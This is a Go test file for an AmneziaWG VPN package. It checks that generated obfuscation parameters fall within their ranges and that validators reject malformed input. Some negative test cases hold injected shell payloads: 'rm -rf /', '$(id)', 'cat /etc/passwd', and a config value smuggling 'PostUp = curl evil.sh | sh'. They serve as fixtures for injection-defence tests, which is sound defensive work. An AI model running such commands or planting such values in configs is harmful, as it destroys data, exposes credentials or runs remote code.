params_test.go 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384
  1. package amneziawg
  2. import (
  3. "encoding/base64"
  4. "strconv"
  5. "strings"
  6. "testing"
  7. )
  8. func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
  9. for i := 0; i < 200; i++ {
  10. o := GenerateObfuscation31()
  11. if o.Jc < 3 || o.Jc > 6 {
  12. t.Fatalf("Jc = %d, want [3,6]", o.Jc)
  13. }
  14. if o.Jmin < 40 || o.Jmin > 89 {
  15. t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
  16. }
  17. if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
  18. t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
  19. }
  20. if o.S1 < 15 || o.S1 > 150 {
  21. t.Fatalf("S1 = %d, want [15,150]", o.S1)
  22. }
  23. if o.S2 < 15 || o.S2 > 150 {
  24. t.Fatalf("S2 = %d, want [15,150]", o.S2)
  25. }
  26. if o.S1+56 == o.S2 {
  27. t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
  28. }
  29. if o.S3 < 12 || o.S3 > 55 {
  30. t.Fatalf("S3 = %d, want [12,55]", o.S3)
  31. }
  32. if o.S4 < 12 || o.S4 > 27 {
  33. t.Fatalf("S4 = %d, want [12,27]", o.S4)
  34. }
  35. if o.HeaderProtectionKey != "" {
  36. if err := ValidateObfuscation(o); err != nil {
  37. t.Fatalf("generated set failed its own validation: %v", err)
  38. }
  39. }
  40. for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
  41. if err := validateUintRange(h, 0); err != nil {
  42. t.Fatalf("%s = %q invalid: %v", name, h, err)
  43. }
  44. if h == "" {
  45. t.Fatalf("%s is empty, want a generated range", name)
  46. }
  47. }
  48. if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
  49. t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
  50. }
  51. n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
  52. if err != nil || n < 32 || n > 256 {
  53. t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
  54. }
  55. for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
  56. if v != "" {
  57. t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
  58. }
  59. }
  60. key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
  61. if err != nil || len(key) != 32 {
  62. t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
  63. }
  64. assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
  65. rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
  66. if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
  67. t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
  68. }
  69. rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
  70. if rjLo < rkHi+30 {
  71. t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
  72. }
  73. assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
  74. assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
  75. assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
  76. if !o.RandomTrailers || !o.DisableCookies {
  77. t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
  78. }
  79. }
  80. }
  81. // assertRangeWithin parses a "lo-hi" value and fails unless
  82. // min <= lo <= hi <= max, returning the parsed bounds.
  83. func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
  84. t.Helper()
  85. lo, hi, ok := parseUintRange(v)
  86. if !ok || !strings.Contains(v, "-") {
  87. t.Fatalf("%s = %q, want a lo-hi range", name, v)
  88. }
  89. if lo < min || hi > max || lo > hi {
  90. t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
  91. }
  92. return lo, hi
  93. }
  94. func TestGenerateHRangesNonOverlapping(t *testing.T) {
  95. for i := 0; i < 50; i++ {
  96. h := generateHRanges()
  97. var prevHi int64
  98. for i, r := range h {
  99. lo, hi, ok := strings.Cut(r, "-")
  100. if !ok {
  101. t.Fatalf("H%d = %q is not a range", i+1, r)
  102. }
  103. loN, _ := strconv.ParseInt(lo, 10, 64)
  104. hiN, _ := strconv.ParseInt(hi, 10, 64)
  105. if loN <= prevHi {
  106. t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
  107. }
  108. if hiN-loN < hMinWidth {
  109. t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
  110. }
  111. prevHi = hiN
  112. }
  113. }
  114. }
  115. func validObfuscation() Obfuscation31 {
  116. return GenerateObfuscation31()
  117. }
  118. func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
  119. for i := 0; i < 50; i++ {
  120. if err := ValidateObfuscation(validObfuscation()); err != nil {
  121. t.Fatalf("generated obfuscation set rejected: %v", err)
  122. }
  123. }
  124. }
  125. func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
  126. o := validObfuscation()
  127. o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
  128. if err := ValidateObfuscation(o); err != nil {
  129. t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
  130. }
  131. }
  132. func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
  133. o := validObfuscation()
  134. o.Jmin, o.Jmax = 50, 10
  135. if err := ValidateObfuscation(o); err == nil {
  136. t.Fatal("Jmin > Jmax must be rejected")
  137. }
  138. }
  139. func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
  140. o := validObfuscation()
  141. o.S3 = 65
  142. if err := ValidateObfuscation(o); err == nil {
  143. t.Fatal("S3 > 64 must be rejected")
  144. }
  145. o = validObfuscation()
  146. o.S4 = 33
  147. if err := ValidateObfuscation(o); err == nil {
  148. t.Fatal("S4 > 32 must be rejected")
  149. }
  150. o = validObfuscation()
  151. o.S3, o.S4 = -1, -1
  152. if err := ValidateObfuscation(o); err == nil {
  153. t.Fatal("negative S3/S4 must be rejected")
  154. }
  155. }
  156. func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
  157. for field, set := range map[string]func(o *Obfuscation31){
  158. "S1": func(o *Obfuscation31) { o.S1 = 11 },
  159. "S2": func(o *Obfuscation31) { o.S2 = 11 },
  160. "S3": func(o *Obfuscation31) { o.S3 = 11 },
  161. "S4": func(o *Obfuscation31) { o.S4 = 11 },
  162. } {
  163. o := validObfuscation()
  164. set(&o)
  165. if err := ValidateObfuscation(o); err == nil {
  166. t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
  167. }
  168. }
  169. o := validObfuscation()
  170. o.HeaderProtectionKey = ""
  171. o.S3, o.S4 = 8, 4
  172. if err := ValidateObfuscation(o); err != nil {
  173. t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
  174. }
  175. }
  176. func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
  177. o := validObfuscation()
  178. o.S1 = 30
  179. o.S2 = o.S1 + 56
  180. if err := ValidateObfuscation(o); err == nil {
  181. t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
  182. }
  183. }
  184. func TestValidateObfuscationRejectsBadH(t *testing.T) {
  185. cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
  186. for _, h := range cases {
  187. o := validObfuscation()
  188. o.H1 = h
  189. if err := ValidateObfuscation(o); err == nil {
  190. t.Fatalf("H1 = %q must be rejected", h)
  191. }
  192. }
  193. }
  194. func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
  195. o := validObfuscation()
  196. o.HeaderProtectionKey = ""
  197. o.ContentPaddingAddition = ""
  198. o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
  199. o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
  200. o.RandomTrailers, o.DisableCookies = false, false
  201. if err := ValidateObfuscation(o); err != nil {
  202. t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
  203. }
  204. }
  205. func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
  206. cases := []struct {
  207. name string
  208. mutate func(o *Obfuscation31)
  209. }{
  210. {"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
  211. {"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
  212. {"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
  213. {"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
  214. {"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
  215. {"rekey max not below reject min", func(o *Obfuscation31) {
  216. o.RekeyAfterTime = "100-200"
  217. o.RejectAfterTime = "200-300"
  218. }},
  219. {"single rekey value at reject min", func(o *Obfuscation31) {
  220. o.RekeyAfterTime = "180"
  221. o.RejectAfterTime = "180-300"
  222. }},
  223. {"embedded newline splits the config line", func(o *Obfuscation31) {
  224. o.RekeyAfterTime = "110\n-140"
  225. o.RejectAfterTime = "190-250"
  226. }},
  227. {"reject alone below the 120s default rekey", func(o *Obfuscation31) {
  228. o.RekeyAfterTime = ""
  229. o.RejectAfterTime = "30-60"
  230. }},
  231. {"rekey alone above the 180s default reject", func(o *Obfuscation31) {
  232. o.RekeyAfterTime = "200-300"
  233. o.RejectAfterTime = ""
  234. }},
  235. }
  236. for _, c := range cases {
  237. o := validObfuscation()
  238. c.mutate(&o)
  239. if err := ValidateObfuscation(o); err == nil {
  240. t.Errorf("%s must be rejected", c.name)
  241. }
  242. }
  243. }
  244. func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
  245. cases := []struct {
  246. name string
  247. key string
  248. }{
  249. {"not base64", "not!!!base64"},
  250. {"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
  251. {"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
  252. {"control characters", "AAAA\nBBBB"},
  253. // DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
  254. // only the explicit control-character check can catch the line wrap.
  255. {"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
  256. }
  257. for _, c := range cases {
  258. o := validObfuscation()
  259. o.HeaderProtectionKey = c.key
  260. if err := ValidateObfuscation(o); err == nil {
  261. t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
  262. }
  263. }
  264. }
  265. func TestCanonicalizeUintRange(t *testing.T) {
  266. cases := []struct{ in, want string }{
  267. {"110 - 140", "110-140"},
  268. {" 120 ", "120"},
  269. {" ", ""},
  270. {"", ""},
  271. {"110-140", "110-140"},
  272. }
  273. for _, c := range cases {
  274. if got := CanonicalizeUintRange(c.in); got != c.want {
  275. t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
  276. }
  277. }
  278. }
  279. func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
  280. o := validObfuscation()
  281. o.ContentPaddingAddition = "32"
  282. o.RekeyAfterTime = "120"
  283. o.RejectAfterTime = "180"
  284. if err := ValidateObfuscation(o); err != nil {
  285. t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
  286. }
  287. }
  288. func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
  289. for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
  290. if err := ValidateInterfaceName(name); err != nil {
  291. t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
  292. }
  293. }
  294. }
  295. func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
  296. cases := []string{
  297. "eth0 -j ACCEPT; rm -rf /",
  298. "eth0`whoami`",
  299. "eth0$(id)",
  300. "eth0|cat /etc/passwd",
  301. "eth0\nMASQUERADE",
  302. "aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
  303. }
  304. for _, name := range cases {
  305. if err := ValidateInterfaceName(name); err == nil {
  306. t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
  307. }
  308. }
  309. }
  310. func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
  311. cases := []struct {
  312. ip string
  313. cidr int
  314. }{
  315. {"10.8.1.0", 24},
  316. {"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
  317. {"192.168.5.10", 32},
  318. }
  319. for _, c := range cases {
  320. if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
  321. t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
  322. }
  323. }
  324. }
  325. func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
  326. cases := []struct {
  327. ip string
  328. cidr int
  329. }{
  330. {"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
  331. {"not-an-ip", 24},
  332. {"", 24},
  333. {"fd86::1", 64}, // IPv6, not IPv4
  334. {"10.8.1.0", 33}, // cidr out of range
  335. }
  336. for _, c := range cases {
  337. if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
  338. t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
  339. }
  340. }
  341. }
  342. func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
  343. for _, v := range []string{"", "[email protected]", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
  344. if err := ValidateConfigValue("email", v); err != nil {
  345. t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
  346. }
  347. }
  348. }
  349. func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
  350. cases := []string{
  351. "a@x\nPostUp = curl evil.sh | sh",
  352. "a@x\r\n[Interface]",
  353. "tab\there",
  354. "a@x\x7f",
  355. }
  356. for _, v := range cases {
  357. if err := ValidateConfigValue("email", v); err == nil {
  358. t.Errorf("ValidateConfigValue(%q) must be rejected", v)
  359. }
  360. }
  361. }